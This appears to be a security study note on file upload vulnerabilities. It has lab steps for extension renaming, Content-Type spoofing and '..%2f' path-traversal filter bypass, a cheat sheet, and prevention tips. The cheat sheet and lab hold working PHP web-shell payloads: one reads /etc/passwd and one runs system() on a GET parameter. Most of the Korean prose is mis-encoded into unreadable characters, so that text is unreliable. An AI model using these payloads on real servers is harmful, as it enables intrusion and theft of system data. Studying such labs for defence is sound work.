๐ What is File upload vulnerabilities?
ํ์ผ ์
๋ก๋ ์ทจ์ฝ์ ์ ์น ์๋ฒ๊ฐ ์ฌ์ฉ์๊ฐ ์ด๋ฆ, ์ ํ, ๋ด์ฉ ๋๋ ํฌ๊ธฐ์ ๊ฐ์ ํญ๋ชฉ์ ์ถฉ๋ถํ ๊ฒ์ฆํ์ง ์๊ณ ํ์ผ ์์คํ
์ ํ์ผ์ ์
๋ก๋ ํ๋๋ก ํ์ฉํ๋ ๊ฒฝ์ฐ์
๋๋ค.
์ด์ ๋ํ ์ ํ์ ์ ์ ํ๊ฒ ์ ์ฉํ์ง ์์ผ๋ฉด ๊ธฐ๋ณธ ์ด๋ฏธ์ง ์
๋ก๋ ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ฌ ์ ์ฌ์ ์ผ๋ก ์ํํ ์
์ฑ ํ์ผ์ ์ด๋ฏธ์ง ํ์ผ ๋์ ์
๋ก๋ ํ ์ ์์ต๋๋ค.
Lab
ํ์ผ๋ช ๋ณ๊ฒฝ
ํ์ผ๋ช
์ .jpeg
์์ .php
๋ก ๋ณ๊ฒฝ ํ php ์ฝ๋ ์์ฑ
// ํด๋น ๊ฒฝ๋ก์ ํ์ผ ์ฝ๊ธฐ
<?php echo file_get_contents('/etc/passwd'); ?>
Content-type ๋ณ๊ฒฝ
Content-type ์ด image/jpeg
์ image/png
๋ง ํ์ฉ๋์ด ์์
Content-Type์ text/php
์์ image/jpeg
๋ก ๋ณ๊ฒฝํ์ฌ ์ ์ก
..%2f ์ฌ์ฉ ๊ฒฝ๋ก์ฐํ
PHPํ์ผ ์
๋ก๋ ์ ํํฐ๋ง ์์ด PHPํ์ผ์ด ์
๋ก๋ ๊ฐ๋ฅํ๊ฒ์ ํ์ธ
๋จ, ์
๋ก๋ ํ์ผ ์ ์ ์ ์ฝ๋๊ฐ ์คํ๋์ง ์๊ณ ํ
์คํธ ํ์์ผ๋ก ๋ฐํ
directory traversal์ ํตํด ../
๊ณต๊ฒฉ ์๋
๊ทธ๋ฌ๋ ์๋ฒ์์ ../ ์ ํํฐ๋งํ์ฌ ์ญ์ ์ฒ๋ฆฌ
์ธ์ฝ๋ฉ์ ์ฌ์ฉํ์ฌ ..%2f
์ ์ด์ฉํ์ฌ ์
๋ก๋ ์๋
ํํฐ๋ง์ ๊ฑฐ์น์ง ์๊ณ ์ ์์ ์ผ๋ก ๊ฒฝ๋ก ์ฐํํ์ฌ ์
๋ก๋๊ฐ ๋๊ฒ์ ํ์ธ
์
๋ก๋ ๋ ๊ฒฝ๋ก๋ก ์ ์์ PHP์ฝ๋๊ฐ ์คํ๋จ
๐ Cheat sheet
-
PHP Code
// ํด๋น ๊ฒฝ๋ก์ ํ์ผ ์ฝ๊ธฐ
<?php echo file_get_contents('/etc/passwd'); ?>
// cmd ์ (exploit.php?command=id)
<?php echo system($_GET['command']); ?>
๐ How to Prevent ?
- .jpg, .gif, .pptx ๋ฑ ์์ฉ ๊ฐ๋ฅํ ํ์ฅ์๋ง ์ ๋ก๋ ํ์ฉ (ํ์ดํธ ๋ฆฌ์คํธ ๋ฐฉ์)
- Contnet-Type ํ์ธ์ ํตํ ์คํํ์ผ ์ ๋ก๋ ์ฐจ๋จ
- ํ์ผ๋ช ์ ํน์๋ฌธ์(../, ..\, %, %00 ๋ฑ)๊ฐ ํฌํจ๋ ํก๋ฆฌ์ ์ ๋ก๋๋ฅผ ์ฐจ๋จํ๋ ๋ก์ง ๊ตฌํ
- ํ์ผํ์ฅ์ ๊ฒ์ฆ ํ๋ก์ธ์ค๋ฅผ Client side๊ฐ ์๋ Server side์์ ๊ตฌํ
- ์ ๋ก๋ ๋ ํ์ผ์ด ์๋ฒ์์์ ์คํ ๋ถ๊ฐ๋ฅ ํ๋๋ก ์ ๋ก๋ ํ์ผ ๋ฐ ๋๋ ํฐ๋ฆฌ์ ์คํ ๊ถํ ์ ๊ฑฐ